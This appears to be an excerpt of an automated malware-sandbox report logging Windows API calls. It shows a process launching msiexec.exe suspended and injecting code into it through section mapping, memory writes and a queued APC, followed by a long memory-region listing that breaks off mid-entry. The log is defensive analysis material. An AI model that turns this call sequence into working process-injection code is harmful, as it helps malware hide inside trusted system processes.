GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x754b0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\CLBCatQ.DLL" (normalized: "c:\\windows\\syswow64\\clbcatq.dll")) returned 0x1f [0107.937] CoTaskMemFree (pv=0x4e83770) [0107.937] GetModuleInformation (in: hProcess=0x2c4, hModule=0x74050000, lpmodinfo=0x2782e2c, cb=0xc | out: lpmodinfo=0x2782e2c*(lpBaseOfDll=0x74050000, SizeOfImage=0xfb000, EntryPoint=0x740617e1)) returned 1 [0107.937] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.937] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x74050000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="WindowsCodecs.dll") returned 0x11 [0107.938] CoTaskMemFree (pv=0x4e83770) [0107.938] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.938] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x74050000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\system32\\WindowsCodecs.dll" (normalized: "c:\\windows\\system32\\windowscodecs.dll")) returned 0x25 [0107.939] CoTaskMemFree (pv=0x4e83770) [0107.939] GetModuleInformation (in: hProcess=0x2c4, hModule=0x76420000, lpmodinfo=0x2784f50, cb=0xc | out: lpmodinfo=0x2784f50*(lpBaseOfDll=0x76420000, SizeOfImage=0x5000, EntryPoint=0x76421438)) returned 1 [0107.940] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.940] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x76420000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="psapi.dll") returned 0x9 [0107.940] CoTaskMemFree (pv=0x4e83770) [0107.940] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.940] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x76420000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\psapi.dll" (normalized: "c:\\windows\\syswow64\\psapi.dll")) returned 0x1d [0107.941] CoTaskMemFree (pv=0x4e83770) [0107.941] GetModuleInformation (in: hProcess=0x2c4, hModule=0x73bb0000, lpmodinfo=0x2787054, cb=0xc | out: lpmodinfo=0x2787054*(lpBaseOfDll=0x73bb0000, SizeOfImage=0xd4000, EntryPoint=0x73be30d2)) returned 1 [0107.942] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.942] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x73bb0000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="diasymreader.dll") returned 0x10 [0107.943] CoTaskMemFree (pv=0x4e83770) [0107.943] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.943] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x73bb0000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\diasymreader.dll" (normalized: "c:\\windows\\microsoft.net\\framework\\v4.0.30319\\diasymreader.dll")) returned 0x3e [0107.944] CoTaskMemFree (pv=0x4e83770) [0107.944] GetModuleInformation (in: hProcess=0x2c4, hModule=0x76670000, lpmodinfo=0x27891ac, cb=0xc | out: lpmodinfo=0x27891ac*(lpBaseOfDll=0x76670000, SizeOfImage=0xc4a000, EntryPoint=0x766f1601)) returned 1 [0107.945] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.945] GetModuleBaseNameW (in: hProcess=0x2c4, hModule=0x76670000, lpBaseName=0x4e83770, nSize=0x800 | out: lpBaseName="shell32.dll") returned 0xb [0107.946] CoTaskMemFree (pv=0x4e83770) [0107.946] CoTaskMemAlloc (cb=0x804) returned 0x4e83770 [0107.946] GetModuleFileNameExW (in: hProcess=0x2c4, hModule=0x76670000, lpFilename=0x4e83770, nSize=0x800 | out: lpFilename="C:\\Windows\\syswow64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll")) returned 0x1f [0107.947] CoTaskMemFree (pv=0x4e83770) [0107.947] CloseHandle (hObject=0x2c4) returned 1 [0108.827] CreateProcessW (in: lpApplicationName=0x0, lpCommandLine="C:\\Windows\\SysWOW64\\msiexec.exe", lpProcessAttributes=0x0, lpThreadAttributes=0x0, bInheritHandles=0, dwCreationFlags=0x4, lpEnvironment=0x0, lpCurrentDirectory=0x0, lpStartupInfo=0x2739a34*(cb=0x0, lpReserved=0x0, lpDesktop=0x0, lpTitle=0x0, dwX=0x0, dwY=0x0, dwXSize=0x0, dwYSize=0x0, dwXCountChars=0x0, dwYCountChars=0x0, dwFillAttribute=0x0, dwFlags=0x0, wShowWindow=0x0, cbReserved2=0x0, lpReserved2=0x0, hStdInput=0x0, hStdOutput=0x0, hStdError=0x0), lpProcessInformation=0x2739a18 | out: lpCommandLine="C:\\Windows\\SysWOW64\\msiexec.exe", lpProcessInformation=0x2739a18*(hProcess=0x2c0, hThread=0x2c4, dwProcessId=0xad4, dwThreadId=0xb24)) returned 1 [0108.942] NtQueryInformationProcess (in: ProcessHandle=0x2c0, ProcessInformationClass=0x0, ProcessInformation=0x2739aa8, ProcessInformationLength=0x18, ReturnLength=0x563de84 | out: ProcessInformation=0x2739aa8, ReturnLength=0x563de84) returned 0x0 [0108.945] NtReadVirtualMemory (in: ProcessHandle=0x2c0, BaseAddress=0x7efde008, Buffer=0x274914c, NumberOfBytesToRead=0x4, NumberOfBytesRead=0x563de7c | out: Buffer=0x274914c*, NumberOfBytesRead=0x563de7c*=0x4) returned 0x0 [0108.945] NtUnmapViewOfSection (ProcessHandle=0x2c0, BaseAddress=0x400000) returned 0xc0000019 [0108.945] NtCreateSection (in: SectionHandle=0x563de9c, DesiredAccess=0xe, ObjectAttributes=0x0, MaximumSize=0x563de90, SectionPageProtection=0x40, AllocationAttributes=0x8000000, FileHandle=0x0 | out: SectionHandle=0x563de9c*=0x2cc) returned 0x0 [0108.946] NtMapViewOfSection (in: SectionHandle=0x2cc, ProcessHandle=0xffffffff, BaseAddress=0x563de74*=0x0, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x563de78*=0x0, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x563de74*=0x4cc0000, SectionOffset=0x0, ViewSize=0x563de78*=0x29000) returned 0x0 [0108.946] NtMapViewOfSection (in: SectionHandle=0x2cc, ProcessHandle=0x2c0, BaseAddress=0x563de70*=0x400000, ZeroBits=0x0, CommitSize=0x0, SectionOffset=0x0, ViewSize=0x563de78*=0x29000, InheritDisposition=0x2, AllocationType=0x0, AccessProtection=0x40 | out: BaseAddress=0x563de70*=0x400000, SectionOffset=0x0, ViewSize=0x563de78*=0x29000) returned 0x0 [0109.145] NtWriteVirtualMemory (in: ProcessHandle=0x2c0, BaseAddress=0x7efde008, Buffer=0x2776450*, NumberOfBytesToWrite=0x4, NumberOfBytesWritten=0x0 | out: Buffer=0x2776450*, NumberOfBytesWritten=0x0) returned 0x0 [0109.686] NtAllocateVirtualMemory (in: ProcessHandle=0x2c0, BaseAddress=0x563dbd4*=0x0, ZeroBits=0x0, RegionSize=0x563dbcc*=0x76, AllocationType=0x3000, Protect=0x40 | out: BaseAddress=0x563dbd4*=0x70000, RegionSize=0x563dbcc*=0x1000) returned 0x0 [0109.687] NtWriteVirtualMemory (in: ProcessHandle=0x2c0, BaseAddress=0x70000, Buffer=0x5c5608*, NumberOfBytesToWrite=0x76, NumberOfBytesWritten=0x0 | out: Buffer=0x5c5608*, NumberOfBytesWritten=0x0) returned 0x0 [0109.687] LocalFree (hMem=0x5c5608) returned 0x0 [0109.732] LocalFree (hMem=0x5f4ed0) returned 0x0 [0109.732] NtQueueApcThread (ThreadHandle=0x2c4, ApcRoutine=0x80000, NormalContext=0x0, SystemArgument1=0x0, SystemArgument2=0x0) returned 0x0 [0109.733] NtAlertResumeThread (in: ThreadHandle=0x2c4, SuspendCount=0x563de68 | out: SuspendCount=0x563de68) returned 0x0 [0109.733] NtClose (Handle=0x2c4) returned 0x0 Thread: id = 8 os_tid = 0x6e8 Thread: id = 9 os_tid = 0x74c Thread: id = 10 os_tid = 0x0 Process: id = "2" image_name = "msiexec.exe" filename = "c:\\windows\\syswow64\\msiexec.exe" page_root = "0x2de28000" os_pid = "0xad4" os_integrity_level = "0x3000" os_privileges = "0x60800000" monitor_reason = "child_process" parent_id = "1" os_parent_pid = "0x1c4" cmd_line = "C:\\Windows\\SysWOW64\\msiexec.exe" cur_dir = "C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\" os_username = "XDUWTFONO\\5p5NrGJn0jS HALPmcxz" os_groups = "XDUWTFONO\\Domain Users" [0x7], "Everyone" [0x7], "BUILTIN\\Administrators" [0xf], "BUILTIN\\Users" [0x7], "NT AUTHORITY\\INTERACTIVE" [0x7], "CONSOLE LOGON" [0x7], "NT AUTHORITY\\Authenticated Users" [0x7], "NT AUTHORITY\\This Organization" [0x7], "NT AUTHORITY\\Logon Session 00000000:0000ea88" [0xc0000007], "LOCAL" [0x7], "NT AUTHORITY\\NTLM Authentication" [0x7] Region: id = 336 start_va = 0x10000 end_va = 0x2ffff entry_point = 0x0 region_type = private name = "private_0x0000000000010000" filename = "" Region: id = 337 start_va = 0x30000 end_va = 0x31fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 338 start_va = 0x40000 end_va = 0x40fff entry_point = 0x40000 region_type = mapped_file name = "apisetschema.dll" filename = "\\Windows\\System32\\apisetschema.dll" (normalized: "c:\\windows\\system32\\apisetschema.dll") Region: id = 339 start_va = 0x50000 end_va = 0x53fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000050000" filename = "" Region: id = 340 start_va = 0x60000 end_va = 0x61fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000060000" filename = "" Region: id = 341 start_va = 0x150000 end_va = 0x18ffff entry_point = 0x0 region_type = private name = "private_0x0000000000150000" filename = "" Region: id = 342 start_va = 0x190000 end_va = 0x1cffff entry_point = 0x0 region_type = private name = "private_0x0000000000190000" filename = "" Region: id = 343 start_va = 0x400000 end_va = 0x428fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000400000" filename = "" Region: id = 344 start_va = 0xb20000 end_va = 0xb33fff entry_point = 0xb20000 region_type = mapped_file name = "msiexec.exe" filename = "\\Windows\\SysWOW64\\msiexec.exe" (normalized: "c:\\windows\\syswow64\\msiexec.exe") Region: id = 345 start_va = 0x77670000 end_va = 0x77818fff entry_point = 0x77670000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\System32\\ntdll.dll" (normalized: "c:\\windows\\system32\\ntdll.dll") Region: id = 346 start_va = 0x77850000 end_va = 0x779cffff entry_point = 0x77850000 region_type = mapped_file name = "ntdll.dll" filename = "\\Windows\\SysWOW64\\ntdll.dll" (normalized: "c:\\windows\\syswow64\\ntdll.dll") Region: id = 347 start_va = 0x7efb0000 end_va = 0x7efd2fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efb0000" filename = "" Region: id = 348 start_va = 0x7efdb000 end_va = 0x7efddfff entry_point = 0x0 region_type = private name = "private_0x000000007efdb000" filename = "" Region: id = 349 start_va = 0x7efde000 end_va = 0x7efdefff entry_point = 0x0 region_type = private name = "private_0x000000007efde000" filename = "" Region: id = 350 start_va = 0x7efdf000 end_va = 0x7efdffff entry_point = 0x0 region_type = private name = "private_0x000000007efdf000" filename = "" Region: id = 351 start_va = 0x7efe0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007efe0000" filename = "" Region: id = 352 start_va = 0x7ffe0000 end_va = 0x7ffeffff entry_point = 0x0 region_type = private name = "private_0x000000007ffe0000" filename = "" Region: id = 353 start_va = 0x7fff0000 end_va = 0x7fffffeffff entry_point = 0x0 region_type = private name = "private_0x000000007fff0000" filename = "" Region: id = 354 start_va = 0x70000 end_va = 0x70fff entry_point = 0x0 region_type = private name = "private_0x0000000000070000" filename = "" Region: id = 355 start_va = 0x80000 end_va = 0x80fff entry_point = 0x0 region_type = private name = "private_0x0000000000080000" filename = "" Region: id = 356 start_va = 0x280000 end_va = 0x2fffff entry_point = 0x0 region_type = private name = "private_0x0000000000280000" filename = "" Region: id = 357 start_va = 0x74d90000 end_va = 0x74d97fff entry_point = 0x74d90000 region_type = mapped_file name = "wow64cpu.dll" filename = "\\Windows\\System32\\wow64cpu.dll" (normalized: "c:\\windows\\system32\\wow64cpu.dll") Region: id = 358 start_va = 0x74da0000 end_va = 0x74dfbfff entry_point = 0x74da0000 region_type = mapped_file name = "wow64win.dll" filename = "\\Windows\\System32\\wow64win.dll" (normalized: "c:\\windows\\system32\\wow64win.dll") Region: id = 359 start_va = 0x74e00000 end_va = 0x74e3efff entry_point = 0x74e00000 region_type = mapped_file name = "wow64.dll" filename = "\\Windows\\System32\\wow64.dll" (normalized: "c:\\windows\\system32\\wow64.dll") Region: id = 360 start_va = 0x10000 end_va = 0x1ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000010000" filename = "" Region: id = 361 start_va = 0x90000 end_va = 0xf6fff entry_point = 0x90000 region_type = mapped_file name = "locale.nls" filename = "\\Windows\\System32\\locale.nls" (normalized: "c:\\windows\\system32\\locale.nls") Region: id = 362 start_va = 0x4e0000 end_va = 0x5dffff entry_point = 0x0 region_type = private name = "private_0x00000000004e0000" filename = "" Region: id = 363 start_va = 0x75a20000 end_va = 0x75b2ffff entry_point = 0x75a20000 region_type = mapped_file name = "kernel32.dll" filename = "\\Windows\\SysWOW64\\kernel32.dll" (normalized: "c:\\windows\\syswow64\\kernel32.dll") Region: id = 364 start_va = 0x765f0000 end_va = 0x76635fff entry_point = 0x765f0000 region_type = mapped_file name = "kernelbase.dll" filename = "\\Windows\\SysWOW64\\KernelBase.dll" (normalized: "c:\\windows\\syswow64\\kernelbase.dll") Region: id = 365 start_va = 0x77450000 end_va = 0x77549fff entry_point = 0x0 region_type = private name = "private_0x0000000077450000" filename = "" Region: id = 366 start_va = 0x77550000 end_va = 0x7766efff entry_point = 0x0 region_type = private name = "private_0x0000000077550000" filename = "" Region: id = 367 start_va = 0x7efe0000 end_va = 0x7f0dffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x000000007efe0000" filename = "" Region: id = 368 start_va = 0x7f0e0000 end_va = 0x7ffdffff entry_point = 0x0 region_type = private name = "private_0x000000007f0e0000" filename = "" Region: id = 369 start_va = 0x75b30000 end_va = 0x75bcffff entry_point = 0x75b30000 region_type = mapped_file name = "advapi32.dll" filename = "\\Windows\\SysWOW64\\advapi32.dll" (normalized: "c:\\windows\\syswow64\\advapi32.dll") Region: id = 370 start_va = 0x75e30000 end_va = 0x75edbfff entry_point = 0x75e30000 region_type = mapped_file name = "msvcrt.dll" filename = "\\Windows\\SysWOW64\\msvcrt.dll" (normalized: "c:\\windows\\syswow64\\msvcrt.dll") Region: id = 371 start_va = 0x762b0000 end_va = 0x762c8fff entry_point = 0x762b0000 region_type = mapped_file name = "sechost.dll" filename = "\\Windows\\SysWOW64\\sechost.dll" (normalized: "c:\\windows\\syswow64\\sechost.dll") Region: id = 372 start_va = 0x772d0000 end_va = 0x773bffff entry_point = 0x772d0000 region_type = mapped_file name = "rpcrt4.dll" filename = "\\Windows\\SysWOW64\\rpcrt4.dll" (normalized: "c:\\windows\\syswow64\\rpcrt4.dll") Region: id = 373 start_va = 0x753b0000 end_va = 0x7540ffff entry_point = 0x753b0000 region_type = mapped_file name = "sspicli.dll" filename = "\\Windows\\SysWOW64\\sspicli.dll" (normalized: "c:\\windows\\syswow64\\sspicli.dll") Region: id = 374 start_va = 0x753a0000 end_va = 0x753abfff entry_point = 0x753a0000 region_type = mapped_file name = "cryptbase.dll" filename = "\\Windows\\SysWOW64\\cryptbase.dll" (normalized: "c:\\windows\\syswow64\\cryptbase.dll") Region: id = 375 start_va = 0x5e0000 end_va = 0x6fffff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 376 start_va = 0x756f0000 end_va = 0x757effff entry_point = 0x756f0000 region_type = mapped_file name = "user32.dll" filename = "\\Windows\\SysWOW64\\user32.dll" (normalized: "c:\\windows\\syswow64\\user32.dll") Region: id = 377 start_va = 0x773c0000 end_va = 0x7744ffff entry_point = 0x773c0000 region_type = mapped_file name = "gdi32.dll" filename = "\\Windows\\SysWOW64\\gdi32.dll" (normalized: "c:\\windows\\syswow64\\gdi32.dll") Region: id = 378 start_va = 0x762d0000 end_va = 0x762d9fff entry_point = 0x762d0000 region_type = mapped_file name = "lpk.dll" filename = "\\Windows\\SysWOW64\\lpk.dll" (normalized: "c:\\windows\\syswow64\\lpk.dll") Region: id = 379 start_va = 0x75410000 end_va = 0x754acfff entry_point = 0x75410000 region_type = mapped_file name = "usp10.dll" filename = "\\Windows\\SysWOW64\\usp10.dll" (normalized: "c:\\windows\\syswow64\\usp10.dll") Region: id = 380 start_va = 0x20000 end_va = 0x3dfff entry_point = 0x20000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 381 start_va = 0x700000 end_va = 0x887fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000700000" filename = "" Region: id = 382 start_va = 0x20000 end_va = 0x3dfff entry_point = 0x20000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 383 start_va = 0x76500000 end_va = 0x7655ffff entry_point = 0x76500000 region_type = mapped_file name = "imm32.dll" filename = "\\Windows\\SysWOW64\\imm32.dll" (normalized: "c:\\windows\\syswow64\\imm32.dll") Region: id = 384 start_va = 0x75d40000 end_va = 0x75e0bfff entry_point = 0x75d40000 region_type = mapped_file name = "msctf.dll" filename = "\\Windows\\SysWOW64\\msctf.dll" (normalized: "c:\\windows\\syswow64\\msctf.dll") Region: id = 385 start_va = 0x890000 end_va = 0xa10fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000890000" filename = "" Region: id = 386 start_va = 0xb40000 end_va = 0x1f3ffff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000b40000" filename = "" Region: id = 387 start_va = 0x20000 end_va = 0x20fff entry_point = 0x0 region_type = private name = "private_0x0000000000020000" filename = "" Region: id = 388 start_va = 0x30000 end_va = 0x30fff entry_point = 0x0 region_type = private name = "private_0x0000000000030000" filename = "" Region: id = 389 start_va = 0x76670000 end_va = 0x772b9fff entry_point = 0x76670000 region_type = mapped_file name = "shell32.dll" filename = "\\Windows\\SysWOW64\\shell32.dll" (normalized: "c:\\windows\\syswow64\\shell32.dll") Region: id = 390 start_va = 0x75ce0000 end_va = 0x75d36fff entry_point = 0x75ce0000 region_type = mapped_file name = "shlwapi.dll" filename = "\\Windows\\SysWOW64\\shlwapi.dll" (normalized: "c:\\windows\\syswow64\\shlwapi.dll") Region: id = 391 start_va = 0x74030000 end_va = 0x74041fff entry_point = 0x74030000 region_type = mapped_file name = "mpr.dll" filename = "\\Windows\\SysWOW64\\mpr.dll" (normalized: "c:\\windows\\syswow64\\mpr.dll") Region: id = 392 start_va = 0x764c0000 end_va = 0x764f4fff entry_point = 0x764c0000 region_type = mapped_file name = "ws2_32.dll" filename = "\\Windows\\SysWOW64\\ws2_32.dll" (normalized: "c:\\windows\\syswow64\\ws2_32.dll") Region: id = 393 start_va = 0x77820000 end_va = 0x77825fff entry_point = 0x77820000 region_type = mapped_file name = "nsi.dll" filename = "\\Windows\\SysWOW64\\nsi.dll" (normalized: "c:\\windows\\syswow64\\nsi.dll") Region: id = 394 start_va = 0x1f40000 end_va = 0x20fffff entry_point = 0x0 region_type = private name = "private_0x0000000001f40000" filename = "" Region: id = 395 start_va = 0x2100000 end_va = 0x23cefff entry_point = 0x2100000 region_type = mapped_file name = "sortdefault.nls" filename = "\\Windows\\Globalization\\Sorting\\SortDefault.nls" (normalized: "c:\\windows\\globalization\\sorting\\sortdefault.nls") Region: id = 396 start_va = 0x100000 end_va = 0x10ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 397 start_va = 0x3c0000 end_va = 0x3fffff entry_point = 0x0 region_type = private name = "private_0x00000000003c0000" filename = "" Region: id = 398 start_va = 0x4a0000 end_va = 0x4dffff entry_point = 0x0 region_type = private name = "private_0x00000000004a0000" filename = "" Region: id = 399 start_va = 0x7efd8000 end_va = 0x7efdafff entry_point = 0x0 region_type = private name = "private_0x000000007efd8000" filename = "" Region: id = 400 start_va = 0x110000 end_va = 0x116fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000110000" filename = "" Region: id = 401 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 402 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 403 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 404 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 405 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 406 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 407 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 408 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 409 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 410 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 411 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 412 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 413 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 414 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 415 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 416 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 417 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 418 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 419 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 420 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 421 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 422 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 423 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 424 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 425 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 426 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 427 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 428 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 429 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 430 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 431 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 432 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 433 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 434 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 435 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 436 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 437 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 438 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 439 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 440 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 441 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 442 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 443 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 444 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 445 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 446 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 447 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 448 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 449 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 450 start_va = 0x100000 end_va = 0x106fff entry_point = 0x0 region_type = pagefile_backed name = "pagefile_0x0000000000100000" filename = "" Region: id = 451 start_va = 0x5e0000 end_va = 0x6e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 452 start_va = 0x6f0000 end_va = 0x6fffff entry_point = 0x0 region_type = private name = "private_0x00000000006f0000" filename = "" Region: id = 453 start_va = 0x5e0000 end_va = 0x6e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 454 start_va = 0x5e0000 end_va = 0x6e0fff entry_point = 0x0 region_type = private name = "private_0x00000000005e0000" filename = "" Region: id = 468 start_va = 0x100000 end_va = 0x13ffff entry_point = 0x0 region_type = private name = "private_0x0000000000100000" filename = "" Region: id = 469 start_va = 0x140000 end_va = 0x14ffff entry_point = 0x0 region_type = private name = "private_0x0000000000140000" filename = "" Region: id = 470 start_va = 0x1f0000 end_va = 0x22ffff entry_point = 0x0 region_type = private name = "private_0x00000000001f0000" filename = "" Region: id = 471 start_va = 0x230000 end_va = 0x26ffff entry_point = 0x0 region_type = private name = "private_0x0000000000230000" filename = "" Region: id = 472 start_va = 0x340000 end_va = 0x37ffff entry_point = 0x0 region_type = private name = "private_0x0000000000340000" filename = "" Region: id = 473 start_va = 0x460000 end_va = 0x49ffff entry_point = 0x0 region_type = private name = "private_0x0000000000460000" filename = "" Region: id = 474 start_va = 0x600000 end_va = 0x63ffff entry_point = 0x0 region_type = private name = "private_0x0000000000600000" filename = "" Region: id = 475 start_va = 0xa80000 end_va = 0xabffff entry_point = 0x0 region_type = private name = "private_0x0000000000a80000" filename = "" Region: id = 476 start_va = 0x1f60000 end_va = 0x1f9ffff entry_point = 0x0 region_type = private name = "private_0x0000000001f60000" filename = "" Region: id = 477 start_va = 0x20c0000 end_va = 0x20fffff entry_point = 0x0 region_type = private name = "private_0x00000000020c0000" filename = "" Region: id = 478 start_va = 0x7efa7000 end_va = 